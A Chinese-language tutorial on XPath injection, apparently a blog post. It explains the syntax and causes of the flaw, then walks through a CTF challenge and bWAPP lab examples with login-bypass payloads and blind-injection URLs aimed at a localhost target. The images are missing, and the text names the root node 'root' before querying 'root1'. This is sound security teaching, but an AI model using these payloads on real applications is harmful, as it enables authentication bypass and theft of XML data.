php xpath注入工具,XPath注入攻击学习

XPath简介

XPath 是一门在 XML 文档中查找信息的语言,用于在 XML 文档中通过元素和属性进行导航

XPath语法

XPath中的符号

php xpath注入工具,XPath注入攻击学习_第1张图片

XPath的数学运算符+ 加号表示加

- 表示数字相减

* 表示乘以

div 表示除以,这里数学上的除号/已经被用作节点之间分隔符了

mod 表示取余

XPath逻辑运算符= 等于

!= 不等于

> 大于

>= 大于等于

< 小于

<= 小于等于

and 并且 与关系

or 或者 或关系

XPath实例

XPath注入

XPath注入攻击概念

XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作

XPath注入产生原因

1.XPath注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权

2.与其他注入类漏洞有相似之处,主要由于系统未对输入内容进行严格校验和检查而产生

XPath注入危害

可以查询获取到系统内部完整的XML文档内容

XPath注入攻击特点以及和普通注入的区别

XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。XPath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面具有优势。

(1)广泛性

XPath注入攻击利用的是XPath语法,由于XPath是一种标准语言,因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞,所以可能在所有的XPath实现中都包含有该弱点,这和SQL注入攻击有 很大区别。在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同

(2)危害性大

XPath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。但在SQL注入攻击中,一个“用户”的权限可能被限制到 某一特定的表、列或者查询,而XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击

XPath注入实例

一道XPath注入CTF题

php xpath注入工具,XPath注入攻击学习_第2张图片

输入'报错,根据报错信息得知可能是XPath注入

php xpath注入工具,XPath注入攻击学习_第3张图片

遍历当前结点下所有的user

php xpath注入工具,XPath注入攻击学习_第4张图片

但是在这个结点下并不存在flag,那么就考虑遍历所有的结点

php xpath注入工具,XPath注入攻击学习_第5张图片

|表示连接查询,既会查询前面的也会查询后面的

//*代表所有结点

后面闭合

bwapp中XPath注入实例

php xpath注入工具,XPath注入攻击学习_第6张图片

看一下源码查询语句$result = $xml->xpath("//hero[contains(genre, '$genre')]/movie");

如果不看源码就需要黑盒去尝试闭合,这里知道了源码就直接进行闭合,效果如下

php xpath注入工具,XPath注入攻击学习_第7张图片

所有的数据都被放出来了

XPath登录框验证绕过

php xpath注入工具,XPath注入攻击学习_第8张图片

看一下对应身份认证源码$result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");

当输入Username: ghtwf01' or '1' = '1

Password: ghtwf01' or '1' = '1

语句变为$result = $xml->xpath("/heroes/hero[login='ghtwf01' or '1'='1' and password='ghtwf01' or'1'='1']");

就绕过了验证

php xpath注入工具,XPath注入攻击学习_第9张图片

XPath盲注

xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息

Xpath盲注步骤:

1.盲注根节点

利用count(/*)判断根下节点:

php xpath注入工具,XPath注入攻击学习_第10张图片

如果数目为2会显示错误,说明只存在一个根节点

利用substring分割根节点的每个字符,猜解根节点http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/*[position()=1]),1,1)='r' or '1'='2

http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/*[position()=1]),2,1)='o' or '1'='2

......

最后得到根节点名为root

接下来判断root1下第二级节点

php xpath注入工具,XPath注入攻击学习_第11张图片

说明root1下有两个节点

判断第一个节点http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=1]),1,1)='u' or '1'='2

http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=1]),2,1)='s' or '1'='2

......

得出为user

判断第二个节点http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=2]),1,1)='h' or '1'='2

http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=2]),2,1)='c' or '1'='2

......

得出为hctfadmin

重复上边步骤即可

参考链接

你可能感兴趣的:(php,xpath注入工具)